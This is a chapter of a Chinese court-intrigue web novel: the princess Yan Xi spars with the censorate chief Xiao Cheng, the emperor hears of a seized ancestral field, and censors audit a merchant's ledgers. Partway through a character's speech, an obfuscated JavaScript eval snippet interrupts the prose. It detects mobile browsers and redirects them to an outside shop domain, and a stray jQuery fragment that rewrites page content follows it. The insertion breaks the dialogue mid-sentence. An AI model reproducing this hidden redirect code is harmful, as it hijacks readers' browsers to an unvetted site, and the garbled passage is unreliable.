官舍内,燕羲坐在主位上,左手边是自称因公前来喝水休息的某人。
萧珵恰巧这几日有个案子在这附近要处理,思来想去,顺路来了燕羲这儿。
地上跪着的是那几个蓬头垢面的流浪汉,燕羲也不躲着。
她询问了番燕元泽的反应,最终满意的屏退了这几人,“起来吧,做的不错。”
萧珵抿了口水,面色复杂的望着她,担忧道:“长公主要插手太子跟二皇子的事情?
太子深受皇上的宠爱,背靠剑门徐氏,他的舅舅是当今权倾朝野的乐毅侯,二皇子的亲生母亲是当今皇后,背后是整个霍氏家族。”
“你这般行径,若是被发现了,先不说你跟太子的交情如何,这俩大家族的攀附者怕是就能扒了你的狐狸皮。”
燕羲笑了两声,语调轻快“那就让他们来扒好了。”
燕羲觉得这人好生奇怪,莫名其妙来她这,莫名其妙来跟她说这些话。
燕羲支起下巴,眼神直勾勾看着他,漫不经心道:“莫非萧台主是想去检举我。”
“萧大人底蕴深厚,我比不了,也许天涯海角都布满了您老人家的眼线,但你也别忘了,我们可是一条线上的蚂蚱,人死债消,可活着的人逃不掉,那晚的情形若是真查起来我们可一个也跑不掉。
那人是个什么性子,你跟了他这么久,想必是比我清楚。”
萧珵微怔,避开她的视线。
他叹了口气,放缓语气,柔声道:“我没有想命令你的意思。”
“我只是想让殿下仔细想一想,与这一干人抗衡,殿下背后是有…?”
燕羲一脸无辜,脸不红耳不热的回了句,“我背后?我是草根卫氏出身,不行吗?”
前怕虎后怕狼,那就永远做不成,没有这个道理。
“咳…咳…”
萧珵一口水没来得及咽下去,忍不住笑出声,随后他掩盖般掩了掩嘴角,“当然行…毕竟我是丐帮萧氏,大概比草根还要穷上一点。”
燕羲略显惊讶的看了他一眼。
萧珵已然恢复了一副正经样子,“怎么,不信啊?”
燕羲道:“确实看不出来,你这般礼仪姿态,瞧上去倒是比燕都从小教养出来的贵女还要端庄优雅。”
萧珵:“……”
为什么要拿他作姑娘比?
“…我的长公主,臣当时刚从山间野人摇身一变重返仙班,不学着点,让人瞧见不遭人笑料?”
燕羲调侃道:“谁敢笑我们萧台主啊?”
这鬼见愁。
萧珵的情报和刑讯可是在朝廷上下出了名的。
别看他一副翩翩别有风姿的公子模样,实际上不招人待见的很,朝廷上下看到他捂着脸转身就跑,生怕被他记住了,不知哪一天自己的秘密就吹到皇帝耳边。
肃政台可不是什么好地方,人人敬而远之。
这也是为什么燕羲常常看萧珵不顺眼的原因。
大灰狼伪装什么小白兔。
不过,他倒是厉害,这种出身走到如今这步,这不是话本故事里的书生文素臣吗?
“行了,你没事就赶紧滚蛋,光脚的不怕拖鞋的,小心我把你拽下来垫背。”
萧珵笑了笑,“同生共死,有点亲密了。”
燕羲狠狠瞪了他一眼,“滚。”
“不滚。”
“你在此地人不生地不熟的,我从燕京给你带了些滋补的膳食,平常若是得空,可以吃这些。”
燕羲有些惊讶了,“你没开玩笑吧,怎么好端端的给我送起饭来了。”
萧珵:“…顺路,待人以礼,礼节不可废。”
燕羲没有深究。
萧珵犹豫了一会,耳根微微发红,像是不好意思,别开脸,小声道:“若是出了什么岔子,可以来找我。”
……
“铛——”
钟磬泠泠,震荡飘扬,灵犀殿内香烟氤氲,云雾缭绕。
皇帝正跪坐在蒲团上,双眼紧闭着,他的四面八方都围着层层叠叠的纱质帷幔,面前是一鼎巨大的铜炉,炉面上香火正燃着兴,炉鼎下青铜盘内放着五颜六色的丹药。
一个大太监拱首垂身而来,将脚步放的极轻,他偏过身子,看了一眼里面的情形,正犹豫着要不要开口,便听见里面的人说,“什么事?”
那大太监赔笑道:“主子真真是神人也,奴这还没出声呢,便被您给发现了。”
那大太监走上前去,给皇帝捏着肩,“是这样的,已逝的锦老王爷的老管家今日个在御书房外哭诉,说是自家王爷的祭田被人给霸占了,正哭的伤心呢,说是欺负他王爷去了。”
“奴想着,这多不好看,千劝万劝,好歹是把那老人哄了回去。”
皇帝睁开眼,有了点兴趣,“哦…?什么人敢侵吞皇家的田。”
那太监犹豫了,“今天御史大人上了奏疏,说是二皇子近来赈灾的粮食来路不明,并未经过户部审批,也并未标有朝廷的字样。
老王爷那块祭田,说起来巧,按道理来讲,皇室成员死后若是所管辖的祭田无人继承,便收归少府统一管理,但当时拖拉了一番没有及时交接,便一直拖着,因此这块地一直是由当地的富商管理着,每年象征性的往少府交由一定的钱粮,这事便算了。
事涉少府,奴不敢妄言,所以前来问问主子的意见。”
皇帝淡淡道:“究竟御史自己察觉出来的,还是徐延让他来的?”
那太监跪下了,老实说道:“是乐毅侯的命令。”
“让他们吵,看看这块地究竟是怎么回事。”
“吵好了,再来跟朕说。”
“是。”
早朝朝会之上,乐毅侯徐延率先发了难,言及二皇子侵吞祭田、不敬先祖,以全私欲,收买民心。
霍氏一族的朝臣立刻回怼了过去,称其无中生有、凭空捏造。
消息传到后宫,霍皇后眉头紧皱,思索着应对的法子。
举证之责,归于主张之人,而非否认之人。
清白真相根本不重要,对方想要得到什么才重要。
她要做的,就是不能如他们所愿。
霍遗光挥手将家里前来诉苦的婢女叫过来,“过来,你回去跟母亲说,叫父亲的人不要管这件事,不要在朝会上再与徐家的人起冲突。”
“燕京内曾有几户被太子强征良田的豪绅,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17794949|210478||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
现如今退居到广陵,离那田产近的很,你回去告诉父亲,让他们进京告御状,一定要把太子的商路牵扯出来,做的干净些,不要落人把柄。”
霍遗光一一吩咐下去。
肃政台下的都察院接到宫里的命令,便直接派了台使去查。
这种级别的事情还牵扰不到萧珵,但萧珵想去看热闹。
狗咬狗好不精彩。
他连夜赶回燕京尾随着自己的属下去了那老王爷的祭田探查。
四名台使前行后退步调整齐划一,脊背挺直,一举一动都规规矩矩的,有一种说不出来的僵硬。
好像晚上独自走夜路,想象有鬼在后面跟着他们,一旦回头便会直面血淋淋鬼脸时的样子。
“你们平时也这样走路吗?”萧珵温润的声音从后面响起。
都察院平时这么多事,都这么训下面的人吗?这些表面功夫还是少做为好,萧珵皱了皱眉,心底十分不赞同。
最高的那名台使说话了,“不…大人我们有点紧张…”
毕竟他们这几人平常见过最大的官就是督察使大人,今日个不知道什么倒霉日子,刚好轮到他们出案子,谁也不曾料到,萧台主猝然临视,还说什么不用管他,只是跟着看看。
萧台主虽然声音听着挺温柔的,但这种感觉就好像,鬼知道你在防备他,他便收起獠牙,轻声细语哄你快回头,待你放松警惕,便一口把你开膛破肚。
嘶…四个人不约而同的打了个寒颤。
“…胆挺小。”
几人就这么别扭着到了那老王爷的祭田处,那富商早已得到传唤,在此侍立着。
见台使来了,那富商恭敬的迎上前,“几位爷来了,要不要先进来喝点水?”
那富商注意到四人身后还跟着一个高大的人,他看了众人一眼,又扫了萧珵一眼,见大家都没说话,便聪慧的没有多问。
其中一名台使把调令拿出来,“没必要,都察院例行查案,把你近五年的账本拿出来。”
另外俩名台使默契的去了附近走访。
俩个台使脸上没有一点笑意,严肃翻阅着历年的账册,那富商是拿了徐氏的好处没错,但此时见这场景不自觉的出了一身冷汗。
承平一十八年,三月初一,恒泰商铺致灵泽山庄三十两。
十三,还对方欠款二十两,二期欠款三十六两,现下净欠三十一两。
…
萧珵挑了挑眉,伸手将那账册拿了过来。
他转身举起账册,掀开一页放在阳光下斜射,纸张有些地方有点微微发白。
那富商此刻脸同纸一样泛着白。
萧珵看了他一眼,什么都没说,把账册还给了台使,那俩个台使抬头看他,试图看出他的心思,萧珵却并不看他们,一副“你们自己解决”的模样。
那俩人只好又看了起来,并富商也默默松了口气。
半天已然过去了,外出的那俩名台使也回来了。
他们四个人围在一起,开了个小型会议。
外出的那俩人说:“根据证词,前几日确实有人看见过有粮车从这里驶出,当地的百姓对祭田被征用一事也是议论纷纷,恐有伤皇家颜面。”